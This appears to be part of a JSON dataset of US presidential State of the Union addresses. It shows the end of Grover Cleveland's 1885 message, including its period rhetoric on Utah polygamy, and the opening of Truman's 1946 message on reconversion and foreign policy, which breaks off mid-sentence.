has\nbeen aroused and suspicion engendered. Our great nation does not begrudge\nits generosity, but it abhors speculation and fraud; and the favorable\nregard of our people for the great corporations to which these grants were\nmade can only be revived by a restoration of confidence, to be secured by\ntheir constant, unequivocal, and clearly manifested integrity. A faithful\napplication of the undiminished proceeds of the grants to the construction\nand perfecting of their roads, an honest discharge of their obligations,\nand entire justice to all the people in the enjoyment of their rights on\nthese highways of travel are all the public asks, and it will be content\nwith no less. To secure these things should be the common purpose of the\nofficers of the Government, as well as of the corporations. With this\naccomplishment prosperity would be permanently secured to the roads, and\nnational pride would take the place of national complaint.It appears from the report of the Commissioner of Pensions that there were\non the 1st day of July, 1885, 345,125 persons borne upon the pension rolls,\nwho were classified as follows: Army invalids, 241,456; widows, minor\nchildren, and dependent relatives of deceased soldiers, 78,841; navy\ninvalids, 2,745; navy widows, minor children, and dependents, 1,926;\nsurvivors of the War of 1812, 2,945; and widows of those who served in that\nwar, 17,212. About one man in ten of all those who enlisted in the late war\nare reported as receiving pensions, exclusive of the dependents of deceased\nsoldiers. On the 1st of July, 1875, the number of pensioners was 234,821,\nand the increase within the ten years next thereafter was 110,304.While there is no expenditure of the public funds which the people more\ncheerfully approve than that made in recognition of the services of our\nsoldiers living and dead, the sentiment underlying the subject should not\nbe vitiated by the introduction of any fraudulent practices. Therefore it\nis fully as important that the rolls should be cleansed of all those who by\nfraud have secured a place thereon as that meritorious claims should be\nspeedily examined and adjusted. The reforms in the methods of doing the\nbusiness of this Bureau which have lately been inaugurated promise better\nresults in both these directions.The operations of the Patent Office demonstrate the activity of the\ninventive genius of the country. For the year ended June 30, 1885, the\napplications for patents, including reissues, and for the registration of\ntrade-marks and labels, numbered 35,688. During the same period there were\n22,928 patents granted and reissued and 1,429 trade-marks and labels\nregistered. The number of patents issued in the year 1875 was 14,387. The\nreceipts during the last fiscal year were $ 1,074,974.35, and the total\nexpenditures, not including contingent expenses, $934,123.11.There were 9,788 applications for patents pending on the 1st day of July,\n1884, and 5,786 on the same date in the year 1885. There has been\nconsiderable improvement made in the prompt determination of applications\nand a consequent relief to expectant inventors.A number of suggestions and recommendations are contained in the report of\nthe Commissioner of patents which are well entitled to the consideration of\nCongress.In the Territory of Utah the law of the United States passed for the\nSuppression of polygamy has been energetically and faithfully executed\nduring the past year, with measurably good results. A number of convictions\nhave been secured for unlawful cohabitation, and in some cases pleas of\nguilty have been entered and a slight punishment imposed, upon a promise by\nthe accused that they would not again offend against the law, nor advise,\ncounsel, aid, or abet in any way its violation by others.The Utah commissioners express the opinion, based upon such information as\nthey are able to obtain, that but few polygamous marriages have taken place\nin the Territory during the last year. They further report that while there\ncan not be found upon the registration lists of voters the name of a man\nactually guilty of polygamy, and while none of that class are holding\noffice, yet at the last election in the Territory all the officers elected,\nexcept in one county, were men who, though not actually living in the\npractice of polygamy, subscribe to the doctrine of polygamous marriages as\na divine revelation and a law unto all higher and more binding upon the\nconscience than any human law, local or national. Thus is the strange\nspectacle presented of a community protected by a republican form of\ngovernment, to which they owe allegiance, sustaining by their suffrages a\nprinciple and a belief which set at naught that obligation of absolute\nobedience to the law of the land which lies at the foundation of republican\ninstitutions.The strength, the perpetuity, and the destiny of the nation rest upon our\nhomes, established by the law of God, guarded by parental care, regulated\nby parental authority, and sanctified by parental love.These are not the homes of polygamy.The mothers of our land, who rule the nation as they mold the characters\nand guide the actions of their sons, live according to God's holy\nordinances, and each, secure and happy in the exclusive love of the father\nof her children, sheds the warm light of true womanhood, unperverted and\nunpolluted, upon all within her pure and wholesome family circle.These are not the cheerless, crushed, and unwomanly mothers of polygamy.The fathers of our families are the best citizens of the Republic. Wife and\nchildren are the sources of patriotism, and conjugal and parental affection\nbeget devotion to the country. The man who, undefiled with plural marriage,\nis surrounded in his single home with his wife and children has a stake in\nthe country which inspires him with respect for its laws and courage for\nits defense.These are not the fathers of polygamous families.There is no feature of this practice or the system which sanctions it which\nis not opposed to all that is of value in our institutions.There should be no relaxation in the firm but just execution of the law now\nin operation, and I should be glad to approve such further discreet\nlegislation as will rid the country of this blot upon its fair fame.Since the people upholding polygamy in our Territories are reenforced by\nimmigration from other lands, I recommend that a law be passed to prevent\nthe importation of Mormons into the country.The agricultural interest of the country demands just recognition and\nliberal encouragement. It sustains with certainty and unfailing strength\nour nation's prosperity by the products of its steady toil, and bears its\nfull share of the burden of taxation without complaint. Our agriculturists\nhave but slight personal representation in the councils of the nation, and\nare generally content with the humbler duties of citizenship and willing to\ntrust to the bounty of nature for a reward of their labor. But the\nmagnitude and value of this industry are appreciated when the statement is\nmade that of our total annual exports more than three-fourths are the\nproducts of agriculture, and of our total population nearly one-half are\nexclusively engaged in that occupation.The Department of Agriculture was created for the purpose of acquiring and\ndiffusing among the people useful information respecting the subjects it\nhas in charge, and aiding in the cause of intelligent and progressive\nfarming, by the collection of statistics, by testing the value and\nusefulness of new seeds and plants, and distributing such as are found\ndesirable among agriculturists. This and other powers and duties with which\nthis Department is invested are of the utmost importance, and if wisely\nexercised must be of great benefit to the country. The aim of our\nbeneficent Government is the improvement of the people in every station and\nthe amelioration of their condition. Surely our agriculturists should not\nbe neglected. The instrumentality established in aid of the farmers of the\nland should not only be well equipped for the accomplishment of its\npurpose, but those for whose benefit it has been adopted should be\nencouraged to avail themselves fully of its advantages.The prohibition of the importation into several countries of certain of our\nanimals and their products, based upon the suspicion that health is\nendangered in their use and consumption, suggests the importance of such\nprecautions for the protection of our stock of all kinds against disease as\nwill disarm suspicion of danger and cause the removal of such an injurious\nprohibition.If the laws now in operation are insufficient to accomplish this\nprotection, I recommend their amendment to meet the necessities of the\nsituation; and I commend to the consideration of Congress the suggestions\ncontained in the report of the Commissioner of Agriculture calculated to\nincrease the value and efficiency of this Department.The report of the Civil Service Commission, which will be submitted,\ncontains an account of the manner in which the civil-service law has been\nexecuted during the last year and much valuable information on this\nimportant subject.I am inclined to think that there is no sentiment more general in the minds\nof the people of our country than a conviction of the correctness of the\nprinciple upon which the law enforcing civil-service reform is based. In\nits present condition the law regulates only a part of the subordinate\npublic positions throughout the country. It applies the test of fitness to\napplicants for these places by means of a competitive examination, and\ngives large discretion to the Commissioners as to the character of the\nexamination and many other matters connected with its execution. Thus the\nrules and regulations adopted by the Commission have much to do with the\npractical usefulness of the statute and with the results of its\napplication.The people may well trust the Commission to execute the law with perfect\nfairness and with as little irritation as is possible. But of course no\nrelaxation of the principle which underlies it and no weakening of the\nsafeguards which surround it can be expected. Experience in its\nadministration will probably suggest amendment of the methods of its\nexecution, but I venture to hope that we shall never again be remitted to\nthe system which distributes public positions purely as rewards for\npartisan service. Doubts may well be entertained whether our Government\ncould survive the strain of a continuance of this system, which upon every\nchange of Administration inspires an immense army of claimants for office\nto lay siege to the patronage of Government, engrossing the time of public\nofficers with their importunities, spreading abroad the contagion of their\ndisappointment, and filling the air with the tumult of their discontent.The allurements of an immense number of offices and places exhibited to the\nvoters of the land, and the promise of their bestowal in recognition of\npartisan activity; debauch the suffrage and rob political action of its\nthoughtful and deliberative character. The evil would increase with the\nmultiplication of offices consequent upon our extension, and the mania for\noffice holding, growing from its indulgence, would pervade our population\nso generally that patriotic purpose, the support of principle, the desire\nfor the public good, and solicitude for the nation's welfare would be\nnearly banished from the activity of our party contests and cause them to\ndegenerate into ignoble, selfish, and disgraceful struggles for the\npossession of office and public place.Civil-service reform enforced by law came none too soon to check the\nprogress of demoralization.One of its effects, not enough regarded, is the freedom it brings to the\npolitical action of those conservative and sober men who, in fear of the\nconfusion and risk attending an arbitrary and sudden change in all the\npublic offices with a change of party rule, cast their ballots against such\na chance.Parties seem to be necessary, and will long continue to exist; nor can it\nbe now denied that there are legitimate advantages, not disconnected with\noffice holding, which follow party supremacy. While partisanship continues\nbitter and pronounced and supplies so much of motive to sentiment and\naction, it is not fair to hold public officials in charge of important\ntrusts responsible for the best results in the performance of their duties,\nand yet insist that they shall rely in confidential and important places\nupon the work of those not only opposed to them in political affiliation,\nbut so steeped in partisan prejudice and rancor that they have no loyalty\nto their chiefs and no desire for their success. Civil-service reform does\nnot exact this, nor does it require that those in subordinate positions who\nfail in yielding their best service or who are incompetent should be\nretained simply because they are in place. The whining of a clerk\ndischarged for indolence or incompetency, who, though he gained his place\nby the worst possible operation of the spoils system, suddenly discovers\nthat he is entitled to protection under the sanction of civil-service\nreform, represents an idea no less absurd than the clamor of the applicant\nwho claims the vacant position as his compensation for the most\nquestionable party work.The civil-service law does not prevent the discharge of the indolent or\nincompetent clerk, but it does prevent supplying his place with the unfit\nparty worker. Thus in both these phases is seen benefit to the public\nservice. And the people who desire good government, having secured this\nstatute, will not relinquish its benefits without protest. Nor are they\nunmindful of the fact that its full advantages can only be gained through\nthe complete good faith of those having its execution in charge. And this\nthey will insist upon.I recommend that the salaries of the Civil Service Commissioners be\nincreased to a sum more nearly commensurate to their important duties.It is a source of considerable and not unnatural discontent that no\nadequate provision has yet been made for accommodating the principal\nlibrary of the Government. Of the vast collection of books and pamphlets\ngathered at the Capitol, numbering some 700,000, exclusive of manuscripts,\nmaps, and the products of the graphic arts, also of great volume and value,\nonly about 300,000 volumes, or less than half the collection, are provided\nwith shelf room. The others, which are increasing at the rate of from\ntwenty-five to thirty thousand volumes a year, are not only inaccessible to\nthe public, but are subject to serious damage and deterioration from other\ncauses in their present situation.A consideration of the facts that the library of the Capitol has twice been\ndestroyed or damaged by fire, its daily increasing value, and its\nimportance as a place of deposit of books under the law relating to\ncopyright makes manifest the necessity of prompt action to insure its\nproper accommodation and protection.My attention has been called to a controversy which has arisen from the\ncondition of the law relating to railroad facilities in the city of\nWashington, which has involved the Commissioners of the District in much\nannoyance and trouble. I hope this difficulty will be promptly settled by\nappropriate legislation.The Commissioners represent that enough of the revenues of the District are\nnow on deposit in the Treasury of the United States to repay the sum\nadvanced by the Government for sewer improvements under the act of June 30,\n1884. They desire now an advance of the share which ultimately should be\nborne by the District of the cost of extensive improvements to the streets\nof the city. The total expense of these contemplated improvements is\nestimated at $1,000,000, and they are of the opinion that a considerable\nsum could be saved if they had all the money in hand, so that contracts for\nthe whole work could be made at the same time. They express confidence that\nif the advance asked for should be made the Government would be reimbursed\nthe same within a reasonable time. I have no doubt that these improvements\ncould be made much cheaper if undertaken together and prosecuted according\nto a general plan.The license law now in force within the District is deficient and uncertain\nin some of its provisions and ought to be amended. The Commissioners urge,\nwith good reason, the necessity of providing a building for the use of the\nDistrict government which shall better secure the safety and preservation\nof its valuable books and records.The present condition of the law relating to the succession to the\nPresidency in the event of the death, disability, or removal of both the\nPresident and Vice-President is such as to require immediate amendment.\nThis subject has repeatedly been considered by Congress, but no result has\nbeen reached. The recent lamentable death of the Vice-President, and\nvacancies at the same time in all other offices the incumbents of which\nmight immediately exercise the functions of the presidential office, has\ncaused public anxiety and a just demand that a recurrence of such a\ncondition of affairs should not be permitted.In conclusion I commend to the wise care and thoughtful attention of\nCongress the needs, the welfare, and the aspirations of an intelligent and\ngenerous nation. To subordinate these to the narrow advantages of\npartisanship or the accomplishment of selfish aims is to violate the\npeople's trust and betray the people's interests; but an individual sense\nof responsibility on the part of each of us and a stern determination to\nperform our duty well must give us place among those who have added in\ntheir day and generation to the glory and prosperity of our beloved land.", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "January 21, 1946", 
+    "speech": "To the Congress of the United States:A quarter century ago the Congress decided that it could no longer consider\nthe financial programs of the various departments on a piecemeal basis.\nInstead it has called on the President to present a comprehensive Executive\nBudget. The Congress has shown its satisfaction with that method by\nextending the budget system and tightening its controls. The bigger and\nmore complex the Federal Program, the more necessary it is for the Chief\nExecutive to submit a single budget for action by the Congress.At the same time, it is clear that the budgetary program and the general\nprogram of the Government are actually inseparable. The president bears the\nresponsibility for recommending to the Congress a comprehensive set of\nproposals on all Government activities and their financing. In formulating\npolicies, as in preparing budgetary estimates, the Nation and the Congress\nhave the right to expect the President to adjust and coordinate the views\nof the various departments and agencies to form a unified program. And that\nprogram requires consideration in connection with the Budget, which is the\nannual work program of the Government.Since our programs for this period which combines war liquidation with\nreconversion to a peacetime economy are inevitably large and numerous it is\nimperative that they be planned and executed with the utmost efficiency and\nthe utmost economy. We have cut the war program to the maximum extent\nconsistent with national security. We have held our peacetime programs to\nthe level necessary to our national well-being and the attainment of our\npostwar objectives. Where increased programs have been recommended, the\nincreases have been held as low as is consistent with these goals. I can\nassure the Congress of the necessity of these programs. I can further\nassure the Congress that the program as a whole is well within our capacity\nto finance it. All the programs I have recommended for action are included\nin the Budget figures.For these reasons I have chosen to combine the customary Message on the\nState of the Union with the annual Budget Message, and to include in the\nBudget not only estimates for functions authorized by the Congress, but\nalso for those which I recommend for its action.I am also transmitting herewith the Fifth Quarterly Report of the Director\nof War Mobilization and Reconversion.[1] It is a comprehensive discussion of\nthe present state of the reconversion program and of the immediate and\nlong-range needs and recommendations.[Footnote 1: The report dated January 1, 1946, and entitled \"Battle for\nProduction\" is printed in House Document 398 (79th Cong., 2d sess.).]This constitutes, then, as complete a report as I find it possible to\nprepare now. It constitutes a program of government in relation to the\nNation's needs.With the growing responsibility of modern government to foster economic\nexpansion and to promote conditions that assure full and steady employment\nopportunities, it has become necessary to formulate and determine the\nGovernment program in the light of national economic conditions as a whole.\nIn both the executive and the legislative branches we must make\narrangements which will permit us to formulate the Government program in\nthat light. Such an approach has become imperative if the American\npolitical and economic system is to succeed under the conditions of\neconomic instability and uncertainty which we have to face. The Government\nneeds to assure business, labor, and agriculture that Government policies\nwill take due account of the requirements of a full employment economy. The\nlack of that assurance would, I believe, aggravate the economic\ninstability.With the passage of a full employment bill which I confidently anticipate\nfor the very near future, the executive and legislative branches of\ngovernment will be empowered to devote their best talents and resources in\nsubsequent years to preparing and acting on such a program.I. FROM WAR TO PEACE--THE YEAROF DECISIONIn his last Message on the State of the Union, delivered one year ago,\nPresident Roosevelt said:\"This new year of 1945 can be the greatest year of achievement in human\nhistory.\"1945 can see the final ending of the Nazi-Fascist reign of terror in\nEurope.\"1945 can see the closing in of the forces of retribution about the center\nof the malignant power of imperialistic Japan.\"Most important of all--1945 can and must see the substantial beginning of\nthe organization of world peace.\"All those hopes, and more, were fulfilled in the year 1945. It was the\ngreatest year of achievement in human history. It saw the end of the\nNazi-Fascist terror in Europe, and also the end of the malignant power of\nJapan. And it saw the substantial beginning of world organization for\npeace. These momentous events became realities because of the steadfast\npurpose of the United Nations and of the forces that fought for freedom\nunder their flags. The plain fact is that civilization was saved in 1945 by\nthe United Nations.Our own part in this accomplishment was not the product of any single\nservice. Those who fought on land, those who fought on the sea, and those\nwho fought in the air deserve equal credit. They were supported by other\nmillions in the armed forces who through no fault of their own could not go\noverseas and who rendered indispensable service in this country. They were\nsupported by millions in all levels of government, including many\nvolunteers, whose devoted public service furnished basic organization and\nleadership. They were also supported by the millions of Americans in\nprivate life--men and women in industry, in commerce, on the farms, and in\nall manner of activity on the home front--who contributed their brains and\ntheir brawn in arming, equipping, and feeding them. The country was brought\nthrough four years of peril by an effort that was truly national in\ncharacter.Everlasting tribute and gratitude will be paid by all Americans to those\nbrave men who did not come back, who will never come back--the 330,000 who\ndied that the Nation might live and progress. All Americans will also\nremain deeply conscious of the obligation owed to that larger number of\nsoldiers, sailors, and marines who suffered wounds and sickness in their\nservice. They may be certain that their sacrifice will never be forgotten\nor their needs neglected.The beginning of the year 1946 finds the United States strong and\ndeservedly confident. We have a record of enormous achievements as a\ndemocratic society in solving problems and meeting opportunities as they\ndeveloped. We find ourselves possessed of immeasurable advantages--vast and\nvaried natural resources; great plants, institutions, and other facilities;\nunsurpassed technological and managerial skills; an alert, resourceful, and\nable citizenry. We have in the United States Government rich resources in\ninformation, perspective, and facilities for doing whatever may be found\nnecessary to do in giving support and form to the widespread and\ndiversified efforts of all our people.And for the immediate future the business prospects are generally so\nfavorable that there is danger of such feverish and opportunistic activity\nthat our grave postwar problems may be neglected. We need to act now with\nfull regard for pitfalls; we need to act with foresight and balance. We\nshould not be lulled by the immediate alluring prospects into forgetting\nthe fundamental complexity of modern affairs, the catastrophe that can come\nin this complexity, or the values that can be wrested from it.But the long-range difficulties we face should no more lead to despair than\nour immediate business prospects should lead to the optimism which comes\nfrom the present short-range prospect. On the foundation of our victory we\ncan build a lasting peace, with greater freedom and security for mankind in\nour country and throughout the world. We will more certainly do this if we\nare constantly aware of the fact that we face crucial issues and prepare\nnow to meet them.To achieve success will require both boldness in setting our sights and\ncaution in steering our way on an uncharted course. But we have no luxury\nof choice. We must move ahead. No return to the past is possible.Our Nation has always been a land of great opportunities for those people\nof the world who sought to become part of us. Now we have become a land of\ngreat responsibilities to all the people of all the world. We must squarely\nrecognize and face the fact of those responsibilities. Advances in science,\nin communication, in transportation, have compressed the world into a\ncommunity. The economic and political health of each member of the world\ncommunity bears directly on the economic and political health of each other\nmember.The evolution of centuries has brought us to a new era in world history in\nwhich manifold relationships between nations must be formalized and\ndeveloped in new and intricate ways.The United Nations Organization now being established represents a minimum\nessential beginning. It must be developed rapidly and steadily. Its work\nmust be amplified to fill in the whole pattern that has been outlined.\nEconomic collaboration, for example, already charted, now must be carried\non as carefully and as comprehensively as the political and security\nmeasures.It is important that the nations come together as States in the Assembly\nand in the Security Council and in the other specialized assemblies and\ncouncils that have been and will be arranged. But this is not enough. Our\nultimate security requires more than a process of consultation and\ncompromise.It requires that we begin now to develop the United Nations Organization as\nthe representative of the world as one society. The United Nations\nOrganization, if we have the will adequately to staff it and to make it\nwork as it should, will provide a great voice to speak constantly and\nresponsibly in terms of world collaboration and world well-being.There are many new responsibilities for us as we enter into this new\ninternational era. The whole power and will and wisdom of our Government\nand of our people should be focused to contribute to and to influence\ninternational action. It is intricate, continuing business. Many\nconcessions and adjustments will be required.The spectacular progress of science in recent years makes these necessities\nmore vivid and urgent. That progress has speeded internal development and\nhas changed world relationships so fast that we must realize the fact of a\nnew era. It is an era in which affairs have become complex and rich in\npromise. Delicate and intricate relationships, involving us all in\ncountless ways, must be carefully considered.On the domestic scene, as well as on the international scene, we must lay a\nnew and better foundation for cooperation. We face a great peacetime\nventure; the challenging venture of a free enterprise economy making full\nand effective use of its rich resources and technical advances. This is a\nventure in which business, agriculture, and labor have vastly greater\nopportunities than heretofore. But they all also have vastly greater\nresponsibilities. We will not measure up to those responsibilities by the\nsimple return to \"normalcy\" that was tried after the last war.The general objective, on the contrary, is to move forward to find the way\nin time of peace to the full utilization and development of our physical\nand human resources that were demonstrated so effectively in the war.To accomplish this, it is not intended that the Federal Government should\ndo things that can be done as well for the Nation by private enterprise, or\nby State and local governments. On the contrary, the war has demonstrated\nhow effectively we can organize our productive system and develop the\npotential abilities of our people by aiding the efforts of private\nenterprise.As we move toward one common objective there will be many and urgent\nproblems to meet.Industrial peace between management and labor will have to be\nachieved--through the process of collective bargaining--with Government\nassistance but not Government compulsion. This is a problem which is the\nconcern not only of management, labor, and the Government, but also the\nconcern of every one of us.Private capital and private management are entitled to adequate reward for\nefficiency, but business must recognize that its reward results from the\nemployment of the resources of the Nation. Business is a public trust and\nmust adhere to national standards in the conduct of its affairs. These\nstandards include as a minimum the establishment of fair wages and fair\nemployment practices.Labor also has its own new peacetime responsibilities. Under our collective\nbargaining system, which must become progressively more secure, labor\nattains increasing political as well as economic power, and this, as with\nall power, means increased responsibility.The lives of millions of veterans and war workers will be greatly affected\nby the success or failure of our program of war liquidation and\nreconversion. Their transition to peacetime pursuits will be determined by\nour efforts to break the bottlenecks in key items of production, to make\nsurplus property immediately available where it is needed, to maintain an\neffective national employment service, and many other reconversion\npolicies. Our obligations to the people who won the war will not be paid if\nwe fail to prevent inflation and to maintain employment opportunities.While our peacetime prosperity will be based on the private enterprise the\ngovernment can and must assist in many ways. It is the Government's\nresponsibility to see that our economic system remains competitive, that\nnew businesses have adequate opportunities, and that our national resources\nare restored and improved. Government must realize the effect of its\noperations on the whole economy. It is the responsibility of Government to\ngear its total program to the achievement of full production and full\nemployment.Our basic objective--toward which all others lead--is to improve the\nwelfare of the American people. In addition to economic prosperity, this\nmeans that we use social security in the fullest sense of the word. And\npeople must be protected from excessive want during old age, sickness, and\nunemployment. Opportunities for a good economy and adequate medical care\nmust be readily available. Every family should build a decent home. The new\neconomic rights to which I have referred on previous occasions is a charter\nof economic freedom which seeks to assure that all who will may work toward\ntheir own security and the general advancement; that we become a\nwell-housed people, a well-nourished people, an educated people, a people\nsocially and economically secure, an alert and responsible people.These and other problems which may face us can be met by the cooperation of\nall of us in furthering a positive and well-balanced Government program--a\nprogram which will further national and international well-being.II. THE FEDERAL PROGRAMINTERNATIONAL AFFAIRSI. FOREIGN POLICYThe year 1945 brought with it the final defeat of our enemies. There lies\nbefore us now the work of building a just and enduring peace.Our most immediate task toward that end is to deprive our enemies\ncompletely and forever of their power to start another war. Of even greater\nimportance to the preservation of international peace is the need to\npreserve the wartime agreement of the United Nations and to direct it into\nthe ways of peace.Long before our enemies surrendered, the foundations had been laid on which\nto continue this unity in the peace to come. The Atlantic meeting in 1941\nand the conferences at Casablanca, Quebec, Moscow, Cairo, Tehran, and\nDumbarton Oaks each added a stone to the structure.Early in 1945, at Yalta, the three major powers broadened and solidified\nthis base of understanding. There fundamental decisions were reached\nconcerning the occupation and control of Germany. There also a formula was\narrived at for the interim government of the areas in Europe which were\nrapidly being wrested from Nazi control. This formula was based on the\npolicy of the United States that people be permitted to choose their own\nform of government by their own freely expressed choice without\ninterference from any foreign source.At Potsdam, in July 1945, Marshal Stalin, Prime Ministers Churchill and\nAttlee, and I met to exchange views primarily with respect to Germany. As a\nresult, agreements were reached which outlined broadly the policy to be\nexecuted by the Allied Control Council. At Potsdam there was also\nestablished a Council of Foreign Ministers which convened for the first\ntime in London in September. The Council is about to resume its primary\nassignment of drawing up treaties of peace with Italy, Rumania, Bulgaria,\nHungary, and Finland.In addition to these meetings, and, in accordance with the agreement at\nYalta, the Foreign Ministers of Great Britain, the Soviet Union, and the\nUnited States conferred together in San Francisco last spring, in Potsdam\nin July, in London in September, and in Moscow in December. These meetings\nhave been useful in promoting understanding and agreement among the three\ngovernments.Simply to name all the international meetings and conferences is to suggest\nthe size and complexity of the undertaking to prevent international war in\nwhich the United States has now enlisted for the duration of history.It is encouraging to know that the common effort of the United Nations to\nlearn to live together did not cease with the surrender of our enemies.When difficulties arise among us, the United States does not propose to\nremove them by sacrificing its ideals or its vital interests. Neither do we\npropose, however, to ignore the ideals and vital interests of our friends.Last February and March an Inter-American Conference on Problems of War and\nPeace was held in Mexico City. Among the many significant accomplishments\nof that Conference was an understanding that an attack by any country\nagainst any one of the sovereign American republics would be considered an\nact of aggression against all of them; and that if such an attack were made\nor threatened, the American republics would decide jointly, through\nconsultations in which each republic has equal representation, what\nmeasures they would take for their mutual protection. This agreement\nstipulates that its execution shall be in full accord with the Charter of\nthe United Nations Organization.The first meeting of the General Assembly of the United Nations now in\nprogress in London marks the real beginning of our bold adventure toward\nthe preservation of world peace, to which is bound the dearest hope of\nmen.We have solemnly dedicated ourselves and all our will to the success of the\nUnited Nations Organization. For this reason we have sought to insure that\nin the peacemaking the smaller nations shall have a voice as well as the\nlarger states. The agreement reached at Moscow last month preserves this\nopportunity in the making of peace with Italy, Rumania, Bulgaria, Hungary,\nand Finland. The United States intends to preserve it when the treaties\nwith Germany and Japan are drawn.It will be the continuing policy of the United States to use all its\ninfluence to foster, support, and develop the United Nations Organization\nin its purpose of preventing international war. If peace is to endure it\nmust rest upon justice no less than upon power. The question is how justice\namong nations is best achieved. We know from day-to-day experience that the\nchance for a just solution is immeasurably increased when everyone directly\ninterested is given a voice. That does not mean that each must enjoy an\nequal voice, but it does mean that each must be heard.Last November, Prime Minister Attlee, Prime Minister MacKenzie King, and I\nannounced our proposal that a commission be established within the\nframework of the United Nations to explore the problems of effective\ninternational control of atomic energy.The Soviet Union, France, and China have joined us in the purpose of\nintroducing in the General Assembly a resolution for the establishment of\nsuch a commission. Our earnest wish is that the work of this commission go\nforward carefully and thoroughly, but with the greatest dispatch. I have\ngreat hope for the development of mutually effective safeguards which will\npermit the fullest international control of this new atomic force.I believe it possible that effective means can be developed through the\nUnited Nations Organization to prohibit, outlaw, and prevent the use of\natomic energy for destructive purposes.The power which the United States demonstrated during the war is the fact\nthat underlies every phase of our relations with other countries. We cannot\nescape the responsibility which it thrusts upon us. What we think, plan,\nsay, and do is of profound significance to the future of every corner of\nthe world.The great and dominant objective of United States foreign policy is to\nbuild and preserve a just peace. The peace we seek is not peace for twenty\nyears. It is permanent peace. At a time when massive changes are occurring\nwith lightning speed throughout the world, it is often difficult to\nperceive how this central objective is best served in one isolated complex\nsituation or another. Despite this very real difficulty, there are certain\nbasic propositions to which the United States adheres and to which we shall\ncontinue to adhere.One proposition is that lasting peace requires genuine understanding and\nactive cooperation among the most powerful nations. Another is that even\nthe support of the strongest nations cannot guarantee a peace unless it is\ninfused with the quality of justice for all nations.On October 27, 1945, I made, in New York City, the following public\nstatement of my understanding of the fundamental foreign policy of the\nUnited States. I believe that policy to be in accord with the opinion of\nthe Congress and of the people of the United States. I believe that that\npolicy carries out our fundamental objectives.1. We seek no territorial expansion or selfish advantage. We have no plans\nfor aggression against any other state, large or small. We have no\nobjective which need clash with the peaceful aims of any other nation.2. We believe in the eventual return of sovereign rights and\nself-government to all peoples who have been deprived of them by force.3. We shall approve no territorial changes in any friendly part of the\nworld unless they accord with the freely expressed wishes of the people\nconcerned.4. We believe that all peoples who are prepared for self-government should\nbe permitted to choose their own form of government by their own freely\nexpressed choice, without interference from any foreign source. That is\ntrue in Europe, in Asia, in Africa, as well as in the Western Hemisphere.5. By the combined and cooperative action of our war allies, we shall help\nthe defeated enemy states establish peaceful democratic governments of\ntheir own free choice. And we shall try to attain a world in which nazism,\nfascism, and military aggression cannot exist.6. We shall refuse to recognize any government imposed upon any nation by\nthe force of any foreign power. In some cases it may be impossible to\nprevent forceful imposition of such a government. But the United States\nwill not recognize any such government.7. We believe that all nations should have the freedom of the seas and\nequal rights to the navigation of boundary rivers and waterways and of\nrivers and waterways which pass through more than one country.8. We believe that all states which are accepted in the society of nations\nshould have access on equal terms to the trade and the raw materials of the\nworld.9. We believe that the sovereign states of the Western Hemisphere, without\ninterference from outside the Western Hemisphere, must work together as\ngood neighbors in the solution of their common problems.10. We believe that full economic collaboration between all nations, great\nand small, is essential to the improvement of living conditions all over\nthe world, and to the establishment of freedom from fear and freedom from\nwant.11. We shall continue to strive to promote freedom of expression and\nfreedom of religion throughout the peace-loving areas of the world.12. We are convinced that the preservation of peace between nations\nrequires a United Nations Organization composed of all the peace-loving\nnations of the world who are willing jointly to use force, if necessary, to\ninsure peace.That is our foreign policy.We may not always fully succeed in our objectives. There may be instances\nwhere the attainment of those objectives is delayed. But we will not give\nour full sanction and approval to actions which fly in the face of these\nideals.The world has a great stake in the political and economic future of\nGermany. The Allied Control Council has now been in operation there for a\nsubstantial period of time. It has not met with unqualified success. The\naccommodation of varying views of four governments in the day-to-day civil\nadministration of occupied territory is a challenging task. In my judgment,\nhowever, the Council has made encouraging progress in the face of most\nserious difficulties. It is my purpose at the earliest practicable date to\ntransfer from military to civilian personnel the execution of United States\nparticipation in the government of occupied territory in Europe. We are\ndetermined that effective control shall be maintained in Germany until we\nare satisfied that the German people have regained the right to a place of\nhonor and respect.On the other side of the world, a method of international cooperation has\nrecently been agreed upon for the treatment of Japan. In this pattern of\ncontrol, the United States, with the full approval of its partners, has\nretained primary authority and primary responsibility. It will continue to\ndo so until the Japanese people, by their own freely expressed choice,\nchoose their own form of government.Our basic policy in the Far East is to encourage the development of a\nstrong, independent, united, and democratic China. That has been the\ntraditional policy of the United States.At Moscow the United States, the Union of Soviet Socialist Republics, and\nGreat Britain agreed to further this development by supporting the efforts\nof the national government and nongovernmental Chinese political elements\nin bringing about cessation of civil strife and in broadening the basis of\nrepresentation in the Government. That is the policy which General Marshall\nis so ably executing today.It is the purpose of the Government of the United States to proceed as\nrapidly as is practicable toward the restoration of the sovereignty of\nKorea and the establishment of a democratic government by the free choice\nof the people of Korea.At the threshold of every problem which confronts us today in international\naffairs is the appalling devastation, hunger, sickness, and pervasive human\nmisery that mark so many areas of the world.By joining and participating in the work of the United Nations Relief and\nRehabilitation Administration the United States has directly recognized and\nassumed an obligation to give such relief assistance as is practicable to\nmillions of innocent and helpless victims of the war. The Congress has\nearned the gratitude of the world by generous financial contributions to\nthe United Nations Relief and Rehabilitation Administration.We have taken the lead, modest though it is, in facilitating under our\nexisting immigration quotas the admission to the United States of refugees\nand displaced persons from Europe.We have joined with Great Britain in the organization of a commission to\nstudy the problem of Palestine. The Commission is already at work and its\nrecommendations will be made at an early date.The members of the United Nations have paid us the high compliment of\nchoosing the United States as the site of the United Nations headquarters.\nWe shall be host in spirit as well as in fact, for nowhere does there abide\na fiercer determination that this peace shall live than in the hearts of\nthe American people.It is the hope of all Americans that in time future historians will speak\nnot of World War I and World War II, but of the first and last world wars.2. FOREIGN ECONOMIC POLICYThe foreign economic policy of the United States is designed to promote our\nown prosperity, and at the same time to aid in the restoration and\nexpansion of world markets and to contribute thereby to world peace and\nworld security. We shall continue our efforts to provide relief from the\ndevastation of war, to alleviate the sufferings of displaced persons, to\nassist in reconstruction and development, and to promote the expansion of\nworld trade.We have already joined the International Monetary Fund and the\nInternational Bank for Reconstruction and Development. We have expanded the\nExport-Import Bank and provided it with additional capital. The Congress\nhas renewed the Trade Agreements Act which provides the necessary framework\nwithin which to negotiate a reduction of trade barriers on a reciprocal\nbasis. It has given our support to the United Nations Relief and\nRehabilitation Administration.In accordance with the intentions of the Congress, lend-lease, except as to\ncontinuing military lend-lease in China, was terminated upon the surrender\nof Japan. The first of the lend-lease settlement agreements has been\ncompleted with the United Kingdom. Negotiations with other lend-lease\ncountries are in progress. In negotiating these agreements, we intend to\nseek settlements which will not encumber world trade through war debts of 